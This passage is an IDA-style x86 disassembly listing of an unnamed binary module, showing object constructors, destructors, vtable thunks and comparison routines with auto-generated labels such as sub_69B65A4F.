arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, ecx
		mov	eax, [esi]
		call	dword ptr [eax+44h]
		push	[esp+4+arg_8]
		mov	ecx, esi
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_69B66505
		mov	ecx, [esi+28h]
		and	dword ptr [esi+48h], 0FFFFFFFDh
		test	ecx, ecx
		jz	short loc_69B6597A
		cmp	dword ptr [esi+4], 0
		jz	short loc_69B6597A
		mov	eax, [ecx]
		push	ebx
		call	dword ptr [eax+94h]
		mov	ecx, [esi+4]
		mov	bl, al
		mov	eax, [ecx]
		call	dword ptr [eax+94h]
		movzx	eax, al
		movzx	ecx, bl
		or	eax, ecx
		shl	eax, 1
		xor	eax, [esi+48h]
		pop	ebx
		and	eax, 2
		xor	[esi+48h], eax


loc_69B6597A:				; CODE XREF: sub_69B65924+24j
					; sub_69B65924+2Aj
		pop	esi
		retn	0Ch
sub_69B65924	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B6597E	proc near		; DATA XREF: .text:69B12EA0o
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+14h]
		test	ecx, ecx
		jz	short loc_69B659B5
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+3Ch]
		cmp	dword ptr [esi+0Ch], 2
		mov	edi, eax
		jnz	short loc_69B659AC
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		push	0
		push	dword ptr [esi+18h]
		call	dword ptr [eax+54h]
		cmp	eax, [esi+2Ch]
		jnb	short loc_69B659AC
		and	dword ptr [esi+2Ch], 0


loc_69B659AC:				; CODE XREF: sub_69B6597E+16j
					; sub_69B6597E+28j
		and	dword ptr [esi+30h], 0FFFFFFF7h
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B659B5:				; CODE XREF: sub_69B6597E+8j
		xor	eax, eax
		pop	esi
		retn
sub_69B6597E	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B659B9	proc near		; DATA XREF: .text:69B12E98o
		mov	eax, dword_69B9B3F0
		retn
sub_69B659B9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B659BF	proc near		; DATA XREF: .text:69B12EACo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_4]
		mov	esi, ecx
		mov	ecx, [esi+40h]
		push	[esp+8+arg_0]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		cmp	dword ptr [esi+38h], 0
		jz	short loc_69B659E7
		push	[esp+4+arg_4]
		mov	ecx, esi
		push	[esp+8+arg_0]
		call	sub_69B666EB


loc_69B659E7:				; CODE XREF: sub_69B659BF+17j
		pop	esi
		retn	8
sub_69B659BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B659EB	proc near		; CODE XREF: sub_69B65D51+Dp
					; sub_69B65DEB+1Bp ...
		push	esi
		mov	esi, ecx
		push	0
		push	esi
		call	sub_69B17320
		push	0
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		push	0
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+10h], 0FFFFFFFEh
		pop	esi
		retn
sub_69B659EB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65A16	proc near		; CODE XREF: sub_69B65D67+3p
		push	esi
		mov	esi, ecx
		push	0
		push	esi
		call	sub_69B17320
		push	0
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17320
		push	0
		add	esi, 0Ch
		push	esi
		call	sub_69B17320
		pop	esi
		retn
sub_69B65A16	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65A39	proc near		; CODE XREF: sub_69B65DDB+3j
					; sub_69B65DE3+3j
					; DATA XREF: ...
		push	esi
		mov	esi, ecx
		push	0
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		mov	ecx, esi
		pop	esi
		jmp	sub_69B66701
sub_69B65A39	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65A4F	proc near		; CODE XREF: sub_69B65E77+3Ap
					; sub_69B65EE0+1Bp ...

var_2C		= qword	ptr -2Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+0Ch], 1
		mov	ecx, [esi+40h]
		jnz	short loc_69B65A7A
		push	[ebp+arg_8]
		mov	eax, [ecx]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword ptr [eax+50h]
		dec	eax
		neg	eax
		sbb	eax, eax
		inc	eax
		jmp	loc_69B65B30
; ---------------------------------------------------------------------------


loc_69B65A7A:				; CODE XREF: sub_69B65A4F+10j
		push	ebx
		push	edi
		mov	edi, [ebp+arg_4]
		lea	edx, [ebp+var_18]
		push	edx
		push	[ebp+arg_8]
		xor	ebx, ebx
		push	edi
		push	[ebp+arg_0]
		mov	[ebp+var_18], ebx
		mov	[ebp+var_14], bl
		mov	eax, [ecx]
		call	dword ptr [eax+54h]
		cmp	[ebp+var_18], ebx
		jz	loc_69B65B24
		cmp	[ebp+var_18], 3
		jz	short loc_69B65AC1
		push	dword ptr [esi+0Ch]
		lea	eax, [ebp+var_18]
		push	eax
		push	1
		lea	ecx, [ebp+var_18]
		call	sub_69B64008
		cmp	[ebp+var_18], ebx
		jz	short loc_69B65B18
		mov	bl, byte ptr [ebp+var_10]
		jmp	short loc_69B65B18
; ---------------------------------------------------------------------------


loc_69B65AC1:				; CODE XREF: sub_69B65A4F+55j
		fld	[ebp+var_10]
		push	ecx
		fstp	[ebp+var_8]
		push	ecx		; double
		fld	[ebp+var_10]
		fstp	[esp+2Ch+var_2C]
		call	sub_69B84BCE
		cmp	eax, 1
		pop	ecx
		pop	ecx
		jz	short loc_69B65B18
		cmp	eax, 2
		jz	short loc_69B65B18
		cmp	eax, 4
		jz	short loc_69B65B18
		cmp	eax, 200h
		jz	short loc_69B65B18
		push	[ebp+arg_8]
		mov	eax, [edi]
		push	[ebp+arg_0]
		mov	ecx, edi
		call	dword ptr [eax+54h]
		fld	[ebp+var_8]
		push	ecx
		inc	eax
		push	ecx		; double
		fstp	[esp+2Ch+var_2C]
		mov	[ebp+arg_8], eax
		call	sub_69B63D7C
		fild	[ebp+arg_8]
		fcompp	st(1), st
		fnstsw	ax
		test	ah, 44h
		jp	short loc_69B65B18
		mov	bl, 1


loc_69B65B18:				; CODE XREF: sub_69B65A4F+6Bj
					; sub_69B65A4F+70j ...
		lea	ecx, [ebp+var_18]
		call	sub_69B466CC
		mov	al, bl
		jmp	short loc_69B65B2E
; ---------------------------------------------------------------------------


loc_69B65B24:				; CODE XREF: sub_69B65A4F+4Bj
		lea	ecx, [ebp+var_18]
		call	sub_69B466CC
		xor	al, al


loc_69B65B2E:				; CODE XREF: sub_69B65A4F+D3j
		pop	edi
		pop	ebx


loc_69B65B30:				; CODE XREF: sub_69B65A4F+26j
		pop	esi
		leave
		retn	0Ch
sub_69B65A4F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65B35	proc near		; DATA XREF: .text:69B12E9Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+14h]
		mov	[ebp+var_4], eax
		lea	eax, [esi+38h]
		push	edi
		mov	edi, [eax]
		test	edi, edi
		mov	[ebp+var_8], eax
		jz	short loc_69B65B82
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+90h]
		push	[ebp+var_4]
		mov	ebx, eax
		mov	eax, [ebx]
		mov	ecx, ebx
		call	dword ptr [eax+8Ch]
		lea	ecx, [esi+10h]
		mov	eax, [ecx]
		push	edi
		call	dword ptr [eax+8Ch]
		push	0
		push	[ebp+var_8]
		call	sub_69B17320
		jmp	short loc_69B65B85
; ---------------------------------------------------------------------------


loc_69B65B82:				; CODE XREF: sub_69B65B35+1Aj
		mov	ebx, [ebp+arg_4]


loc_69B65B85:				; CODE XREF: sub_69B65B35+4Bj
		push	[ebp+arg_4]
		mov	ecx, esi
		push	[ebp+arg_0]
		call	sub_69B6CAED
		test	edi, edi
		jz	short loc_69B65BB9
		mov	eax, [ebx]
		push	0
		mov	ecx, ebx
		call	dword ptr [eax+8Ch]
		push	[ebp+var_4]
		lea	ecx, [esi+10h]
		mov	eax, [ecx]
		call	dword ptr [eax+8Ch]
		push	edi
		push	[ebp+var_8]
		call	sub_69B17320


loc_69B65BB9:				; CODE XREF: sub_69B65B35+5Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_69B65B35	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65BC0	proc near		; CODE XREF: sub_69B65D3D+Fj
					; sub_69B664B3+18j ...
		push	esi
		mov	esi, ecx
		lea	eax, [esi+28h]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+20h]
		test	byte ptr [eax],	1
		jz	short loc_69B65BDD
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B65BDD:				; CODE XREF: sub_69B65BC0+12j
		lea	eax, [esi+1Ch]
		test	byte ptr [eax],	1
		jz	short loc_69B65BEE
		and	dword ptr [eax], 0FFFFFFFEh
		push	eax
		call	sub_69B17230


loc_69B65BEE:				; CODE XREF: sub_69B65BC0+23j
		lea	eax, [esi+14h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		neg	ecx
		lea	eax, [esi+10h]
		sbb	ecx, ecx
		and	ecx, eax
		call	sub_69B18700
		mov	ecx, esi
		pop	esi
		jmp	sub_69B653F7
sub_69B65BC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C0F	proc near		; CODE XREF: sub_69B65D89+7p
					; sub_69B6679F+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B6D3CA
		mov	dword ptr [esi], offset	off_69B12D18
		mov	dword ptr [esi+8], offset off_69B12CB8
		mov	dword ptr [esi+10h], offset off_69B12C20
		and	dword ptr [esi+38h], 0
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65C0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C39	proc near		; DATA XREF: .text:69B12CA4o
					; .text:69B12DECo ...
		mov	eax, [ecx+20h]
		shr	eax, 6
		and	eax, 1
		retn
sub_69B65C39	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C43	proc near		; DATA XREF: .text:69B12CF4o
					; .text:69B12E3Co ...
		mov	eax, [ecx+2Ch]
		retn
sub_69B65C43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C47	proc near		; DATA XREF: .text:off_69B12BC0o
					; .text:off_69B12CB8o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 8
		jmp	sub_69B2D67E
sub_69B65C47	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C51	proc near		; DATA XREF: .text:69B12BC4o
					; .text:69B12CBCo ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 8
		jmp	sub_69B17349
sub_69B65C51	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C5B	proc near		; DATA XREF: .text:69B12BC8o
					; .text:69B12CC0o ...

arg_0		= dword	ptr  4

		sub	[esp+arg_0], 8
		jmp	sub_69B183AF
sub_69B65C5B	endp

; ---------------------------------------------------------------------------


loc_69B65C65:				; DATA XREF: .text:off_69B12C20o
					; .text:off_69B12D68o ...
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B2D67E
; ---------------------------------------------------------------------------


loc_69B65C6F:				; DATA XREF: .text:69B12C24o
					; .text:69B12D6Co ...
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B17349
; ---------------------------------------------------------------------------


loc_69B65C79:				; DATA XREF: .text:69B12C28o
					; .text:69B12D70o ...
		sub	dword ptr [esp+4], 10h
		jmp	sub_69B183AF
; ---------------------------------------------------------------------------


loc_69B65C83:				; DATA XREF: .text:69B12C38o
					; .text:69B12D80o ...
		sub	ecx, 10h
		jmp	sub_69B18278
; ---------------------------------------------------------------------------


loc_69B65C8B:				; DATA XREF: .text:69B12CC4o
		sub	ecx, 8
		jmp	sub_69B65F7D

; =============== S U B	R O U T	I N E =======================================



sub_69B65C93	proc near		; DATA XREF: .text:69B12CD4o
		sub	ecx, 8
		jmp	sub_69B664FF
sub_69B65C93	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65C9B	proc near		; DATA XREF: .text:69B12CECo
		sub	ecx, 8
		jmp	sub_69B66701
sub_69B65C9B	endp

; ---------------------------------------------------------------------------


loc_69B65CA3:				; DATA XREF: .text:69B12C2Co
		sub	ecx, 10h
		jmp	sub_69B65F7D
; ---------------------------------------------------------------------------


loc_69B65CAB:				; DATA XREF: .text:69B12C3Co
		sub	ecx, 10h
		jmp	sub_69B664FF

; =============== S U B	R O U T	I N E =======================================



sub_69B65CB3	proc near		; DATA XREF: .text:69B12C54o
		sub	ecx, 10h
		jmp	sub_69B66701
sub_69B65CB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65CBB	proc near		; DATA XREF: .text:69B12CB0o
					; .text:69B12DF8o ...
		mov	eax, [ecx+4]
		test	eax, eax
		jz	short loc_69B65CCC
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+90h]
; ---------------------------------------------------------------------------


loc_69B65CCC:				; CODE XREF: sub_69B65CBB+5j
		lea	eax, [ecx-10h]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		retn
sub_69B65CBB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65CD6	proc near		; DATA XREF: .text:69B12CB4o
					; .text:69B12DFCo
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		test	ecx, ecx
		jnz	short loc_69B65CE5
		mov	ecx, esi
		pop	esi
		jmp	short loc_69B65D1B
; ---------------------------------------------------------------------------


loc_69B65CE5:				; CODE XREF: sub_69B65CD6+8j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_69B65D12
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+94h]
		test	al, al
		jnz	short loc_69B65D0D
		mov	ecx, [esi+28h]
		mov	eax, [ecx]
		call	dword ptr [eax+94h]
		test	al, al
		jnz	short loc_69B65D0D
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B65D0D:				; CODE XREF: sub_69B65CD6+22j
					; sub_69B65CD6+31j
		xor	eax, eax
		inc	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_69B65D12:				; CODE XREF: sub_69B65CD6+14j
		mov	eax, [ecx]
		pop	esi
		jmp	dword ptr [eax+94h]
; ---------------------------------------------------------------------------


loc_69B65D1B:				; CODE XREF: sub_69B65CD6+Dj
					; sub_69B689E6+4j
					; DATA XREF: ...
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_69B65D2A
		mov	eax, [ecx]
		jmp	dword ptr [eax+94h]
; ---------------------------------------------------------------------------


loc_69B65D2A:				; CODE XREF: sub_69B65CD6+4Aj
		xor	al, al
		retn
sub_69B65CD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_69B65D2D	proc near		; DATA XREF: .text:69B12CACo
					; .text:69B12DF4o ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		add	ecx, 4
		push	ecx
		call	sub_69B17320
		retn	4
sub_69B65D2D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65D3D	proc near		; CODE XREF: sub_69B65F7D+3p
					; sub_69B65FB3+17j
		push	esi
		mov	esi, ecx
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65BC0
sub_69B65D3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65D51	proc near		; CODE XREF: sub_69B65D89+27p
					; sub_69B65E27+32p
		xor	eax, eax
		push	esi
		mov	esi, ecx
		mov	[esi], eax
		mov	[esi+4], eax
		mov	[esi+0Ch], eax
		call	sub_69B659EB
		mov	eax, esi
		pop	esi
		retn
sub_69B65D51	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65D67	proc near		; CODE XREF: sub_69B65FB3+6p
		push	esi
		mov	esi, ecx
		call	sub_69B65A16
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_69B17230
		lea	eax, [esi+4]
		push	eax
		call	sub_69B17230
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B65D67	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65D89	proc near		; CODE XREF: sub_69B65E0F+Fp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_69B65C0F
		mov	dword ptr [esi], offset	off_69B12E60
		mov	dword ptr [esi+8], offset off_69B12E00
		mov	dword ptr [esi+10h], offset off_69B12D68
		and	dword ptr [esi+40h], 0
		lea	ecx, [esi+44h]
		call	sub_69B65D51
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65D89	endp

; ---------------------------------------------------------------------------


loc_69B65DBB:				; DATA XREF: .text:69B12E0Co
		sub	ecx, 8
		jmp	sub_69B65F98

; =============== S U B	R O U T	I N E =======================================



sub_69B65DC3	proc near		; DATA XREF: .text:69B12E1Co
		sub	ecx, 8
		jmp	sub_69B658B5
sub_69B65DC3	endp

; ---------------------------------------------------------------------------


loc_69B65DCB:				; DATA XREF: .text:69B12D74o
		sub	ecx, 10h
		jmp	sub_69B65F98
; ---------------------------------------------------------------------------


loc_69B65DD3:				; DATA XREF: .text:69B12D84o
		sub	ecx, 10h
		jmp	sub_69B658B5

; =============== S U B	R O U T	I N E =======================================



sub_69B65DDB	proc near		; DATA XREF: .text:69B12E34o
		sub	ecx, 8
		jmp	sub_69B65A39
sub_69B65DDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65DE3	proc near		; DATA XREF: .text:69B12D9Co
		sub	ecx, 10h
		jmp	sub_69B65A39
sub_69B65DE3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65DEB	proc near		; CODE XREF: sub_69B65E27+44p
					; sub_69B65F4D+1Bp

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17320
		and	dword ptr [esi+58h], 0FFFFFFFDh
		and	dword ptr [esi+5Ch], 0
		lea	ecx, [esi+44h]
		call	sub_69B659EB
		pop	esi
		retn	4
sub_69B65DEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65E0F	proc near		; DATA XREF: .text:69B658C0o
		push	60h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B65E24
		push	0
		mov	ecx, eax
		call	sub_69B65D89
		retn
; ---------------------------------------------------------------------------


loc_69B65E24:				; CODE XREF: sub_69B65E0F+9j
		xor	eax, eax
		retn
sub_69B65E0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65E27	proc near		; CODE XREF: sub_69B65FCF+11j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_10]
		mov	esi, ecx
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B66761
		mov	dword ptr [esi], offset	off_69B12E60
		mov	dword ptr [esi+8], offset off_69B12E00
		mov	dword ptr [esi+10h], offset off_69B12D68
		and	dword ptr [esi+40h], 0
		lea	ecx, [esi+44h]
		call	sub_69B65D51
		push	[ebp+arg_8]
		and	dword ptr [esi+58h], 0FFFFFFFCh
		and	dword ptr [esi+5Ch], 0
		mov	ecx, esi
		call	sub_69B65DEB
		mov	eax, esi
		pop	esi
		pop	ebp
		retn	14h
sub_69B65E27	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65E77	proc near		; DATA XREF: .text:69B12DB4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		xor	ebx, ebx
		test	edi, edi
		mov	esi, ecx
		jz	short loc_69B65EBC
		cmp	edi, [ebp+arg_4]
		jz	short loc_69B65EBC
		push	edi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B66598
		mov	ebx, eax
		mov	eax, [esi+28h]
		test	eax, eax
		jnz	short loc_69B65EA5
		mov	eax, [esi+4]


loc_69B65EA5:				; CODE XREF: sub_69B65E77+29j
		test	ebx, ebx
		jz	short loc_69B65EBC
		push	edi
		push	eax
		push	[ebp+arg_0]
		lea	ecx, [esi-10h]
		call	sub_69B65A4F
		test	al, al
		jnz	short loc_69B65EBC
		xor	ebx, ebx


loc_69B65EBC:				; CODE XREF: sub_69B65E77+Fj
					; sub_69B65E77+14j ...
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		pop	ebp
		retn	0Ch
sub_69B65E77	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65EC5	proc near		; DATA XREF: .text:69B12DACo
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+48h], 0FFFFFFFEh
		and	dword ptr [esi+4Ch], 0
		lea	ecx, [esi+34h]
		call	sub_69B659EB
		mov	ecx, esi
		pop	esi
		jmp	sub_69B66558
sub_69B65EC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65EE0	proc near		; CODE XREF: sub_69B65FEB+Dp
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+38h]
		call	sub_69B66657
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_69B65F3D
		push	ebp


loc_69B65EF4:				; CODE XREF: sub_69B65EE0+5Aj
		push	ebx
		push	edi
		push	dword ptr [esi+18h]
		mov	ecx, esi
		call	sub_69B65A4F
		test	al, al
		jz	short loc_69B65F28
		mov	ecx, [esi+14h]
		mov	eax, [ecx]
		mov	ebp, [edi]
		push	0
		call	dword ptr [eax+60h]
		push	eax
		mov	ecx, edi
		call	dword ptr [ebp+60h]
		push	eax
		push	0
		call	sub_69B6D2B6
		push	eax
		push	ebx
		lea	ecx, [esi+44h]
		call	sub_69B6D478


loc_69B65F28:				; CODE XREF: sub_69B65EE0+22j
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		mov	ecx, esi
		call	sub_69B66657
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B65EF4
		pop	ebp


loc_69B65F3D:				; CODE XREF: sub_69B65EE0+11j
		lea	ecx, [esi+44h]
		call	sub_69B6D69C
		or	dword ptr [esi+58h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B65EE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65F4D	proc near		; DATA XREF: .text:69B12DE4o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	[esp+8+arg_0]
		mov	edi, ecx
		call	sub_69B66717
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+10h]
		push	dword ptr [edi+30h]
		mov	esi, eax
		mov	ecx, esi
		call	sub_69B65DEB
		mov	eax, esi
		add	esi, 10h
		neg	eax
		sbb	eax, eax
		pop	edi
		and	eax, esi
		pop	esi
		retn	4
sub_69B65F4D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65F7D	proc near		; CODE XREF: .text:69B65C8Ej
					; .text:69B65CA6j
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B65D3D
		test	[esp+4+arg_0], 1
		jz	short loc_69B65F92
		push	esi
		call	sub_69B1829F


loc_69B65F92:				; CODE XREF: sub_69B65F7D+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65F7D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65F98	proc near		; CODE XREF: .text:69B65DBEj
					; .text:69B65DCEj
					; DATA XREF: ...

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B65FB3
		test	[esp+4+arg_0], 1
		jz	short loc_69B65FAD
		push	esi
		call	sub_69B1829F


loc_69B65FAD:				; CODE XREF: sub_69B65F98+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B65F98	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B65FB3	proc near		; CODE XREF: sub_69B65F98+3p
		push	esi
		mov	esi, ecx
		lea	ecx, [esi+44h]
		call	sub_69B65D67
		lea	eax, [esi+40h]
		push	eax
		call	sub_69B17230
		mov	ecx, esi
		pop	esi
		jmp	sub_69B65D3D
sub_69B65FB3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65FCF	proc near		; CODE XREF: sub_69B5F3B7+94p
					; sub_69B5F3B7+B7p ...
		push	ebp
		mov	ebp, esp
		push	60h
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B65FE5
		pop	ebp
		mov	ecx, eax
		jmp	sub_69B65E27
; ---------------------------------------------------------------------------


loc_69B65FE5:				; CODE XREF: sub_69B65FCF+Cj
		xor	eax, eax
		pop	ebp
		retn	14h
sub_69B65FCF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B65FEB	proc near		; CODE XREF: sub_69B66021+Aj

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+58h], 1
		jnz	short loc_69B65FFD
		call	sub_69B65EE0


loc_69B65FFD:				; CODE XREF: sub_69B65FEB+Bj
		mov	eax, [esi+2Ch]
		cmp	eax, [esi+4Ch]
		mov	[esi+5Ch], eax
		jb	short loc_69B6600C
		xor	eax, eax
		jmp	short loc_69B6601E
; ---------------------------------------------------------------------------


loc_69B6600C:				; CODE XREF: sub_69B65FEB+1Bj
		push	0
		lea	ecx, [ebp+var_4]
		push	ecx
		push	eax
		lea	ecx, [esi+44h]
		call	sub_69B6D544
		mov	eax, [ebp+var_4]


loc_69B6601E:				; CODE XREF: sub_69B65FEB+1Fj
		pop	esi
		leave
		retn
sub_69B65FEB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66021	proc near		; DATA XREF: .text:69B12EA4o
		push	esi
		mov	esi, ecx
		test	byte ptr [esi+58h], 2
		jz	short loc_69B6602D
		pop	esi
		jmp	short sub_69B65FEB
; ---------------------------------------------------------------------------


loc_69B6602D:				; CODE XREF: sub_69B66021+7j
		push	ebx
		push	edi
		mov	edi, [esi+38h]
		test	edi, edi
		jnz	short loc_69B6605F
		mov	edi, [esi+14h]
		jmp	short loc_69B6605F
; ---------------------------------------------------------------------------


loc_69B6603B:				; CODE XREF: sub_69B66021+49j
		push	ebx
		push	edi
		push	dword ptr [esi+18h]
		mov	ecx, esi
		call	sub_69B65A4F
		test	al, al
		jnz	short loc_69B6606C
		test	edi, edi
		jz	short loc_69B66058
		mov	eax, [edi]
		mov	ecx, edi
		call	dword ptr [eax+40h]
		jmp	short loc_69B6605F
; ---------------------------------------------------------------------------


loc_69B66058:				; CODE XREF: sub_69B66021+2Cj
		mov	ecx, esi
		call	sub_69B65903


loc_69B6605F:				; CODE XREF: sub_69B66021+13j
					; sub_69B66021+18j ...
		mov	ecx, esi
		call	sub_69B66657
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B6603B


loc_69B6606C:				; CODE XREF: sub_69B66021+28j
		pop	edi
		mov	eax, ebx
		pop	ebx
		pop	esi
		retn
sub_69B66021	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66072	proc near		; CODE XREF: sub_69B66378+3j
					; .text:69B6638Bj
					; DATA XREF: ...
		mov	eax, offset off_69B66078
		retn
sub_69B66072	endp

; ---------------------------------------------------------------------------
off_69B66078	dd offset off_69B29C7C	; DATA XREF: sub_69B66072o
		dd offset sub_69B664D0

; =============== S U B	R O U T	I N E =======================================



sub_69B66080	proc near		; DATA XREF: .text:69B12EFCo
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_69B6608C
		mov	eax, [ecx]
		jmp	dword ptr [eax+4Ch]
; ---------------------------------------------------------------------------


loc_69B6608C:				; CODE XREF: sub_69B66080+5j
		xor	eax, eax
		retn	0Ch
sub_69B66080	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B66091	proc near		; DATA XREF: .text:69B12FA4o
		mov	ecx, [ecx+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+5Ch]
		mov	edx, [eax]
		mov	ecx, eax
		jmp	dword ptr [edx+5Ch]
sub_69B66091	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B660A0	proc near		; CODE XREF: sub_69B4EBD9+1C7p
					; sub_69B4EBD9+201p ...

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		lea	eax, ds:10h[ebx*4]
		push	eax
		mov	edi, ecx
		call	sub_69B17EF3
		mov	esi, eax
		mov	ecx, esi
		mov	[esi+8], ebx
		call	sub_69B19118
		push	0
		push	edi
		mov	dword ptr [esi], offset	off_69B1EE00
		push	dword ptr [edi+8]
		mov	ecx, esi
		push	0
		call	sub_69B2E6E3
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		retn	4
sub_69B660A0	endp


; =============== S U B	R O U T	I N E =======================================



